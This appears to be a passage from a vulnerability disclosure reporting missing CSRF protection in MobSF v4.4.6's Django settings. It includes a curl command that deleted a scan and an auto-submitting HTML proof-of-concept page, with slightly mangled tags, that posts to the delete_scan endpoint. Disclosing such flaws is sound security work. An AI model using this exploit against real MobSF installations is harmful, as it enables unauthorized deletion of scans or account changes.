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Django's CsrfViewMiddleware exists only in the deprecated MIDDLEWARE_CLASSES (ignored since Django 2.0). The active MIDDLEWARE tuple does not include it. All authenticated web POST endpoints (delete scan, upload, download APK, change password, manage users) accept requests without CSRF tokens.
This was verified by actually deleting a real scan from the running server using only a session cookie — no CSRF token was required:
$ curl -s -b cookies.txt -X POST "http://127.0.0.1:8000/delete_scan/" \
-d "md5=68e76627798d62555d5287f4488a32c7&scan_type=apk"
{"deleted": "yes"}
The scan was removed from the database. This attack works from any website via HTML form auto-submission because:
No CSRF token is validated (middleware absent)
Cookie SameSite=Lax allows form-based top-level navigation to send the session cookie
File: mobsf/MobSF/settings.py (Lines 206-212)
MIDDLEWARE = (
'mobsf.MobSF.views.api.api_middleware.RestApiAuthMiddleware',
'django.contrib.sessions.middleware.SessionMiddleware',
'django.contrib.auth.middleware.AuthenticationMiddleware',
'django.contrib.messages.middleware.MessageMiddleware',
# MISSING: 'django.middleware.csrf.CsrfViewMiddleware'
)
1. Start MobSF v4.4.6 and log in at http://127.0.0.1:8000/login/ (creds: mobsf/mobsf).
2. Upload and scan any APK to create a scan entry. Note the MD5 hash from "Recent Scans".
3. Open the following HTML file in the same browser (simulates visiting attacker's page):
>
html>
head>title>Innocent Pagetitle>head>
body>
h1>Loading...h1>
form id="f" method="POST" action="http://127.0.0.1:8000/delete_scan/">
input type="hidden" name="md5" value="PUT_REAL_MD5_HASH_HERE" />
input type="hidden" name="scan_type" value="apk" />
form>
script>document.getElementById('f').submit();script>
body>
html>
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